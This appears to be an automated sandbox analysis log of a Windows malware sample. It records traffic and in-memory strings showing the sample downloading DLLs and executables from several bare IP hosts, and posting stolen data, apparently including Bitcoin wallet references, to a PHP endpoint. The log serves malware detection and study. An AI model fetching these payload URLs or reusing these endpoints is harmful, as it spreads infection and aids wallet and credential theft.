Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/6554834407/ZdGtikR.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ogs.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000000.00000002.2746505709.0000000000934000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2746505709.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllW
Source: file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllY
Source: file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll_
Source: file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll9
Source: file.exe, 00000000.00000002.2746505709.0000000000934000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2746505709.0000000000934000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll0/
Source: file.exe, 00000000.00000002.2746505709.0000000000918000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/:
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2746505709.0000000000934000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2746505709.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2758865531.000000000B91F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2758865531.000000000B91F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: file.exe, 00000000.00000002.2746505709.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php3A
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2746505709.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8K
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn
Source: file.exe, 00000000.00000002.2747228238.0000000000D44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ta
Source: skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpAy
Source: skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6554834407/ZdGtikR.exe
Source: skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6554834407/ZdGtikR.exe$0
Source: skotes.exe, 00000016.00000002.3410220346.0000000000D4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6554834407/ZdGtikR.exe5
Source: skotes.exe, 00000016.00000002.3410220346.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6554834407/ZdGtikR.exe:
Source: skotes.exe, 00000016.00000002.3410220346.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6554834407/ZdGtikR.exeXYZ0123456789
Source: skotes.exe, 00000016.00000002.3410220346.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6554834407/ZdGtikR.exep
Source: skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/kR.exeJuNko/index.php
Source: skotes.exe, 00000016.00000002.3410220346.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/ows
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_213.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2770268184.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2766044396.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2755618217.00000000058EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_213.4.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2758865531.000000000B913000.00000004.00000020.00020000.00000000.sdmp, GDAEBKJDHDAFIECBAKKJ.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2758865531.000000000B913000.00000004.00000020.00020000.00000000.sdmp, GDAEBKJDHDAFIECBAKKJ.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2758865531.000000000B913000.00000004.00000020.00020000.00000000.sdmp, GDAEBKJDHDAFIECBAKKJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2758865531.000000000B913000.00000004.00000020.00020000.00000000.sdmp, GDAEBKJDHDAFIECBAKKJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_213.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_213.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_213.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_213.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: GDAEBKJDHDAFIECBAKKJ.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_213.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: KKFHJDAEHIEHJJKFBGDAKKKKEG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KKFHJDAEHIEHJJKFBGDAKKKKEG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KKFHJDAEHIEHJJKFBGDAKKKKEG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2758865531.000000000B913000.00000004.00000020.00020000.00000000.sdmp, GDAEBKJDHDAFIECBAKKJ.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chromecache_213.4.dr	String found in binary or memory: https://www.google.com
Source: file.exe, 00000000.00000003.2363567909.000000000098D000.00000004.00000020.00020000.00000000.sdmp, KFBAECBA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_213.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_213.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_213.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: KKFHJDAEHIEHJJKFBGDAKKKKEG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: KKFHJDAEHIEHJJKFBGDAKKKKEG.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: KKFHJDAEHIEHJJKFBGDAKKKKEG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: KKFHJDAEHIEHJJKFBGDAKKKKEG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: KKFHJDAEHIEHJJKFBGDAKKKKEG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2758865531.000000000B913000.00000004.00000020.00020000.00000000.sdmp, GDAEBKJDHDAFIECBAKKJ.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
